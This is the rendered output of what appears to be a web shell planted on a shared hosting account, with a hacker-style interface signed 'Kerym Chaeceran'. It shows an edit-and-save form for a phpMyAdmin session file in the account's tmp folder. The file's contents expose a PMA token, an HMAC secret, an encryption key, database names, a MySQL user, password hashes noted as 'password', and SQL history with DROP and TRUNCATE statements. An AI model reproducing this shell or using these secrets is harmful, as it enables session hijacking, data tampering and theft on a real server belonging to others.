

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: sess_d260c2157e1754a6c1d5555bd3c28096</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'> PMA_token |s:32:&quot;353c7e59773f355852482f485b4a676e&quot;; HMAC_secret |s:16:&quot;g_v4V&amp;&#039;12dv#I|J8&quot;;auth_type|s:3:&quot;env&quot;;browser_access_time|a:3:{s:7:&quot;default&quot;;i:1756253849;s:36:&quot;2fb550c4-0ef2-5764-ac8a-53ecef56011c&quot;;i:1756252497;s:36:&quot;b4ef1359-962e-2586-d12e-75fabcf60a3d&quot;;i:1756255231;}encryption_key|s:32:&quot;�Ь��r�=v��n��_��P!���n�
�&quot;;relation|a:1:{i:1;a:41:{s:7:&quot;version&quot;;s:5:&quot;5.2.2&quot;;s:4:&quot;user&quot;;N;s:2:&quot;db&quot;;N;s:8:&quot;bookmark&quot;;N;s:15:&quot;central_columns&quot;;N;s:11:&quot;column_info&quot;;N;s:17:&quot;designer_settings&quot;;N;s:16:&quot;export_templates&quot;;N;s:8:&quot;favorite&quot;;N;s:7:&quot;history&quot;;N;s:16:&quot;navigationhiding&quot;;N;s:9:&quot;pdf_pages&quot;;N;s:6:&quot;recent&quot;;N;s:8:&quot;relation&quot;;N;s:13:&quot;savedsearches&quot;;N;s:12:&quot;table_coords&quot;;N;s:10:&quot;table_info&quot;;N;s:13:&quot;table_uiprefs&quot;;N;s:8:&quot;tracking&quot;;N;s:10:&quot;userconfig&quot;;N;s:10:&quot;usergroups&quot;;N;s:5:&quot;users&quot;;N;s:12:&quot;bookmarkwork&quot;;b:0;s:8:&quot;mimework&quot;;b:0;s:18:&quot;centralcolumnswork&quot;;b:0;s:8:&quot;commwork&quot;;b:0;s:9:&quot;menuswork&quot;;b:0;s:20:&quot;designersettingswork&quot;;b:0;s:11:&quot;displaywork&quot;;b:0;s:19:&quot;exporttemplateswork&quot;;b:0;s:12:&quot;favoritework&quot;;b:0;s:7:&quot;navwork&quot;;b:0;s:7:&quot;pdfwork&quot;;b:0;s:10:&quot;recentwork&quot;;b:0;s:7:&quot;relwork&quot;;b:0;s:17:&quot;savedsearcheswork&quot;;b:0;s:11:&quot;historywork&quot;;b:0;s:12:&quot;trackingwork&quot;;b:0;s:11:&quot;uiprefswork&quot;;b:0;s:14:&quot;userconfigwork&quot;;b:0;s:8:&quot;allworks&quot;;b:0;}}userconfig|a:2:{s:2:&quot;db&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:12:&quot;Console/Mode&quot;;s:8:&quot;collapse&quot;;}s:2:&quot;ts&quot;;i:1756253849;}two_factor_check|b:1;cache|a:2:{s:8:&quot;server_1&quot;;a:4:{s:15:&quot;userprefs_mtime&quot;;i:1756253849;s:14:&quot;userprefs_type&quot;;s:7:&quot;session&quot;;s:12:&quot;config_mtime&quot;;i:1754420662;s:9:&quot;userprefs&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}}}s:25:&quot;server_1_cpses_qb8wmfrn0k&quot;;a:18:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:6:{i:0;s:21:&quot;qbfdcvcb\_stf\_portal&quot;;i:1;s:14:&quot;qbfdcvcb\_csms&quot;;i:2;s:25:&quot;qbfdcvcb\_site-management&quot;;i:3;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;i:4;s:15:&quot;qbfdcvcb\_teats&quot;;i:5;s:17:&quot;qbfdcvcb\_bagisto&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:14:&quot;menu-levels-db&quot;;a:14:{s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:5:&quot;query&quot;;s:5:&quot;Query&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:8:&quot;routines&quot;;s:8:&quot;Routines&quot;;s:6:&quot;events&quot;;s:6:&quot;Events&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;designer&quot;;s:8:&quot;Designer&quot;;s:15:&quot;central_columns&quot;;s:15:&quot;Central columns&quot;;}s:19:&quot;profiling_supported&quot;;b:1;s:17:&quot;menu-levels-table&quot;;a:11:{s:6:&quot;browse&quot;;s:6:&quot;Browse&quot;;s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:6:&quot;insert&quot;;s:6:&quot;Insert&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;}s:12:&quot;is_superuser&quot;;b:0;s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qb8wmfrn0k@localhost&quot;;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}}tmpval|a:16:{s:14:&quot;favoriteTables&quot;;a:1:{i:1;a:0:{}}s:12:&quot;recentTables&quot;;a:1:{i:1;a:1:{i:0;a:2:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;}}}s:5:&quot;query&quot;;a:10:{s:32:&quot;5cc9918eb87f39bbd15b1d53f324eecc&quot;;a:8:{s:3:&quot;sql&quot;;s:388:&quot;-- Users table stores all user types.  Role defines permissions.
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    username VARCHAR(50) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL,
    phone VARCHAR(20),
    role ENUM(&#039;super_admin&#039;,&#039;admin&#039;,&#039;site_engineer&#039;,&#039;supervisor&#039;,&#039;worker&#039;) NOT NULL,
    pay_per_day DECIMAL(10,2) DEFAULT NULL
);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;8d95d8be94c9f1d20e19e8b145c6981a&quot;;a:8:{s:3:&quot;sql&quot;;s:386:&quot;-- Projects table.  Each project is assigned to one site engineer.
CREATE TABLE projects (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    location VARCHAR(100) NOT NULL,
    -- site_engineer_id may be null when the referenced user is deleted
    site_engineer_id INT DEFAULT NULL,
    FOREIGN KEY (site_engineer_id) REFERENCES users(id) ON DELETE SET NULL
);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;798a7539a99d235d93537dae95ca495f&quot;;a:8:{s:3:&quot;sql&quot;;s:564:&quot;-- Works table.  Each work belongs to a project and is assigned to a supervisor.
CREATE TABLE works (
    id INT AUTO_INCREMENT PRIMARY KEY,
    project_id INT NOT NULL,
    name VARCHAR(100) NOT NULL,
    description TEXT,
    -- When supervisor or creator is deleted, set null
    supervisor_id INT DEFAULT NULL,
    created_by INT DEFAULT NULL,
    FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE,
    FOREIGN KEY (supervisor_id) REFERENCES users(id) ON DELETE SET NULL,
    FOREIGN KEY (created_by) REFERENCES users(id) ON DELETE SET NULL
);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;c83290a0f878ad4cca3210642136fd61&quot;;a:8:{s:3:&quot;sql&quot;;s:857:&quot;-- Tasks table.  Tasks belong to works and can be assigned to a worker.
CREATE TABLE tasks (
    id INT AUTO_INCREMENT PRIMARY KEY,
    work_id INT NOT NULL,
    name VARCHAR(100) NOT NULL,
    duration_days INT NOT NULL,
    manpower_requirement INT NOT NULL,
    description TEXT,
    status ENUM(&#039;not_started&#039;,&#039;in_progress&#039;,&#039;completed&#039;,&#039;on_hold&#039;,&#039;overdue&#039;,&#039;cancelled&#039;) NOT NULL DEFAULT &#039;not_started&#039;,
    -- created_by may become null if the user is deleted
    created_by INT DEFAULT NULL,
    assigned_worker_id INT DEFAULT NULL,
    before_upload VARCHAR(255) DEFAULT NULL,
    after_upload VARCHAR(255) DEFAULT NULL,
    remarks TEXT,
    FOREIGN KEY (work_id) REFERENCES works(id) ON DELETE CASCADE,
    FOREIGN KEY (created_by) REFERENCES users(id) ON DELETE SET NULL,
    FOREIGN KEY (assigned_worker_id) REFERENCES users(id) ON DELETE SET NULL
);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;5e18cd10ce835f4750182b966882aea8&quot;;a:8:{s:3:&quot;sql&quot;;s:457:&quot;-- Attendance table.  Records daily check‑ins for workers.
CREATE TABLE attendance (
    id INT AUTO_INCREMENT PRIMARY KEY,
    user_id INT NOT NULL,
    date DATE NOT NULL,
    check_in_time TIME NOT NULL,
    selfie VARCHAR(255) DEFAULT NULL,
    approved TINYINT(1) DEFAULT NULL,
    approval_by INT DEFAULT NULL,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
    FOREIGN KEY (approval_by) REFERENCES users(id) ON DELETE SET NULL
);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;a64f7e652f126fd58557fe15de3e8401&quot;;a:8:{s:3:&quot;sql&quot;;s:676:&quot;-- Expenses table.  Supervisors log expenses for approval.
CREATE TABLE expenses (
    id INT AUTO_INCREMENT PRIMARY KEY,
    -- supervisor_id may become null if the supervisor is deleted
    supervisor_id INT DEFAULT NULL,
    type ENUM(&#039;food_allowance&#039;,&#039;purchase&#039;) NOT NULL,
    worker_id INT DEFAULT NULL,
    amount DECIMAL(10,2) NOT NULL,
    description TEXT,
    date DATE NOT NULL,
    approved TINYINT(1) DEFAULT NULL,
    approved_by INT DEFAULT NULL,
    FOREIGN KEY (supervisor_id) REFERENCES users(id) ON DELETE SET NULL,
    FOREIGN KEY (worker_id) REFERENCES users(id) ON DELETE SET NULL,
    FOREIGN KEY (approved_by) REFERENCES users(id) ON DELETE SET NULL
);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;fa97ddd96b637c11fb0cb3dc7799eecf&quot;;a:8:{s:3:&quot;sql&quot;;s:764:&quot;-- Sample data
INSERT INTO users (id, name, username, password, phone, role, pay_per_day) VALUES
    (1, &#039;Super Admin&#039;, &#039;superadmin&#039;, &#039;$2b$12$1oOPQ73qWsoeWbMQ4J6hG.YQbRZkWqtCU/5SHwl4dNjhLABNAIwLu&#039;, &#039;1234567890&#039;, &#039;super_admin&#039;, NULL),
    (2, &#039;Admin User&#039;, &#039;admin&#039;, &#039;$2b$12$1oOPQ73qWsoeWbMQ4J6hG.YQbRZkWqtCU/5SHwl4dNjhLABNAIwLu&#039;, &#039;1111111111&#039;, &#039;admin&#039;, NULL),
    (3, &#039;Engineer One&#039;, &#039;engineer&#039;, &#039;$2b$12$1oOPQ73qWsoeWbMQ4J6hG.YQbRZkWqtCU/5SHwl4dNjhLABNAIwLu&#039;, &#039;2222222222&#039;, &#039;site_engineer&#039;, NULL),
    (4, &#039;Supervisor One&#039;, &#039;supervisor&#039;, &#039;$2b$12$1oOPQ73qWsoeWbMQ4J6hG.YQbRZkWqtCU/5SHwl4dNjhLABNAIwLu&#039;, &#039;3333333333&#039;, &#039;supervisor&#039;, NULL),
    (5, &#039;Worker One&#039;, &#039;worker&#039;, &#039;$2b$12$1oOPQ73qWsoeWbMQ4J6hG.YQbRZkWqtCU/5SHwl4dNjhLABNAIwLu&#039;, &#039;4444444444&#039;, &#039;worker&#039;, 500.00);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;0776e0e84ca4d0ab056fa369a48e45c0&quot;;a:8:{s:3:&quot;sql&quot;;s:115:&quot;-- Sample project
INSERT INTO projects (id, name, location, site_engineer_id) VALUES (1, &#039;Building A&#039;, &#039;Delhi&#039;, 3);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;7e69af31726b9384de40b8ebf3087042&quot;;a:8:{s:3:&quot;sql&quot;;s:163:&quot;-- Sample work
INSERT INTO works (id, project_id, name, description, supervisor_id, created_by) VALUES (1, 1, &#039;Foundation&#039;, &#039;Lay foundation for Building A&#039;, 4, 3);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;bbfb0c99dd2974ebe78cb4454f1bf889&quot;;a:8:{s:3:&quot;sql&quot;;s:245:&quot;-- Sample task
INSERT INTO tasks (id, work_id, name, duration_days, manpower_requirement, description, status, created_by, assigned_worker_id) VALUES (1, 1, &#039;Excavation&#039;, 10, 5, &#039;Digging and excavation work for foundation&#039;, &#039;not_started&#039;, 3, 5);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}}s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;s:12:&quot;display_blob&quot;;b:0;s:19:&quot;hide_transformation&quot;;b:0;s:3:&quot;pos&quot;;i:0;s:8:&quot;max_rows&quot;;i:25;s:12:&quot;repeat_cells&quot;;i:100;s:20:&quot;possible_as_geometry&quot;;b:1;s:13:&quot;table_uiprefs&quot;;a:1:{i:1;a:1:{s:13:&quot;qbfdcvcb_csms&quot;;a:1:{s:5:&quot;users&quot;;a:0:{}}}}s:18:&quot;table_limit_offset&quot;;i:0;s:21:&quot;table_limit_offset_db&quot;;s:13:&quot;qbfdcvcb_capp&quot;;}git_location|N;is_git_revision|b:0;ConfigFile1|a:4:{s:28:&quot;PmaNoRelation_DisableWarning&quot;;b:1;s:12:&quot;ShowCreateDb&quot;;b:0;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}s:7:&quot;Servers&quot;;a:1:{i:1;a:2:{s:7:&quot;only_db&quot;;s:0:&quot;&quot;;s:7:&quot;hide_db&quot;;s:0:&quot;&quot;;}}}debug|a:0:{}flashMessages|a:0:{}__upload_status|a:1:{s:7:&quot;handler&quot;;s:47:&quot;PhpMyAdmin\Plugins\Import\Upload\UploadNoplugin&quot;;}Import_message|a:2:{s:7:&quot;message&quot;;s:220:&quot;&lt;div class=&quot;alert alert-success&quot; role=&quot;alert&quot;&gt;
  &lt;img src=&quot;themes/dot.gif&quot; title=&quot;&quot; alt=&quot;&quot; class=&quot;icon ic_s_success&quot;&gt; &lt;em&gt;Import has been successfully finished, 16 queries executed.&lt;/em&gt; (site_management (3).sql)
&lt;/div&gt;
&quot;;s:11:&quot;go_back_url&quot;;s:49:&quot;index.php?route=/database/import&amp;db=qbfdcvcb_capp&quot;;}is_multi_query|b:1;sql_history|a:24:{i:0;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:114:&quot;-- Note: Password hashes above are dummy values; please replace with real hashes generated using password_hash().;&quot;;}i:1;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:40:&quot;SELECT id, username, role_id FROM users;&quot;;}i:2;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:94:&quot;-- If Type is not VARCHAR(255), run:
ALTER TABLE users MODIFY password VARCHAR(255) NOT NULL;&quot;;}i:3;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:277:&quot;-- bcrypt for the string: password
-- $2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9ehX99sJ1h5Y1/.9aUsxK
UPDATE users
SET password = &#039;$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9ehX99sJ1h5Y1/.9aUsxK&#039;
WHERE username IN (&#039;superadmin&#039;,&#039;admin&#039;,&#039;engineer&#039;,&#039;supervisor&#039;,&#039;workera&#039;,&#039;workerb&#039;);&quot;;}i:4;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:52:&quot;-- Expect pw_len around 60 and starts_with = &#039;$2y$&#039;;&quot;;}i:5;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:119:&quot;DROP TABLE `attendance`, `expenses`, `payments`, `projects`, `project_assignments`, `roles`, `tasks`, `users`, `works`;&quot;;}i:6;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:40:&quot;DROP TABLE `projects`, `roles`, `users`;&quot;;}i:7;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:73:&quot;-- SQL script to reset users and create basic accounts
DELETE FROM users;&quot;;}i:8;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:73:&quot;-- SQL script to reset users and create basic accounts
DELETE FROM users;&quot;;}i:9;a:3:{s:2:&quot;db&quot;;s:19:&quot;qbfdcvcb_stf_portal&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:63:&quot;/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;&quot;;}i:10;a:3:{s:2:&quot;db&quot;;s:19:&quot;qbfdcvcb_stf_portal&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:78:&quot;-- Note: all passwords above correspond to the plain text password &#039;password&#039;;&quot;;}i:11;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:73:&quot;-- SQL script to reset users and create basic accounts
DELETE FROM users;&quot;;}i:12;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:63:&quot;/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;&quot;;}i:13;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:78:&quot;-- Note: all passwords above correspond to the plain text password &#039;password&#039;;&quot;;}i:14;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:78:&quot;-- Note: all passwords above correspond to the plain text password &#039;password&#039;;&quot;;}i:15;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:393:&quot;-- Create payments table
CREATE TABLE payments (
  id INT AUTO_INCREMENT PRIMARY KEY,
  worker_id INT NOT NULL,
  start_date DATE,
  end_date DATE,
  days_present INT,
  pay_per_day DECIMAL(10,2),
  food_allowance_total DECIMAL(10,2),
  total_amount DECIMAL(10,2),
  created_at DATETIME,
  FOREIGN KEY (worker_id) REFERENCES users(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;&quot;;}i:16;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:78:&quot;-- Note: all passwords above correspond to the plain text password &#039;password&#039;;&quot;;}i:17;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:119:&quot;DROP TABLE `attendance`, `expenses`, `payments`, `projects`, `project_assignments`, `roles`, `tasks`, `users`, `works`;&quot;;}i:18;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:21:&quot;TRUNCATE TABLE users;&quot;;}i:19;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:393:&quot;-- Create payments table
CREATE TABLE payments (
  id INT AUTO_INCREMENT PRIMARY KEY,
  worker_id INT NOT NULL,
  start_date DATE,
  end_date DATE,
  days_present INT,
  pay_per_day DECIMAL(10,2),
  food_allowance_total DECIMAL(10,2),
  total_amount DECIMAL(10,2),
  created_at DATETIME,
  FOREIGN KEY (worker_id) REFERENCES users(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;&quot;;}i:20;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_csms&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:21:&quot;TRUNCATE TABLE users;&quot;;}i:21;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_capp&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:310:&quot;-- Projects table.  Each project is assigned to one site engineer.
CREATE TABLE projects (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    location VARCHAR(100) NOT NULL,
    site_engineer_id INT NOT NULL,
    FOREIGN KEY (site_engineer_id) REFERENCES users(id) ON DELETE SET NULL
);&quot;;}i:22;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_capp&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:606:&quot;-- Expenses table.  Supervisors log expenses for approval.
CREATE TABLE expenses (
    id INT AUTO_INCREMENT PRIMARY KEY,
    supervisor_id INT NOT NULL,
    type ENUM(&#039;food_allowance&#039;,&#039;purchase&#039;) NOT NULL,
    worker_id INT DEFAULT NULL,
    amount DECIMAL(10,2) NOT NULL,
    description TEXT,
    date DATE NOT NULL,
    approved TINYINT(1) DEFAULT NULL,
    approved_by INT DEFAULT NULL,
    FOREIGN KEY (supervisor_id) REFERENCES users(id) ON DELETE SET NULL,
    FOREIGN KEY (worker_id) REFERENCES users(id) ON DELETE SET NULL,
    FOREIGN KEY (approved_by) REFERENCES users(id) ON DELETE SET NULL
);&quot;;}i:23;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_capp&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:245:&quot;-- Sample task
INSERT INTO tasks (id, work_id, name, duration_days, manpower_requirement, description, status, created_by, assigned_worker_id) VALUES (1, 1, &#039;Excavation&#039;, 10, 5, &#039;Digging and excavation work for foundation&#039;, &#039;not_started&#039;, 3, 5);&quot;;}}sql_from_query_box|b:1;errors|a:0:{}</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/tmp/sess_d260c2157e1754a6c1d5555bd3c28096'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Ftmp' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>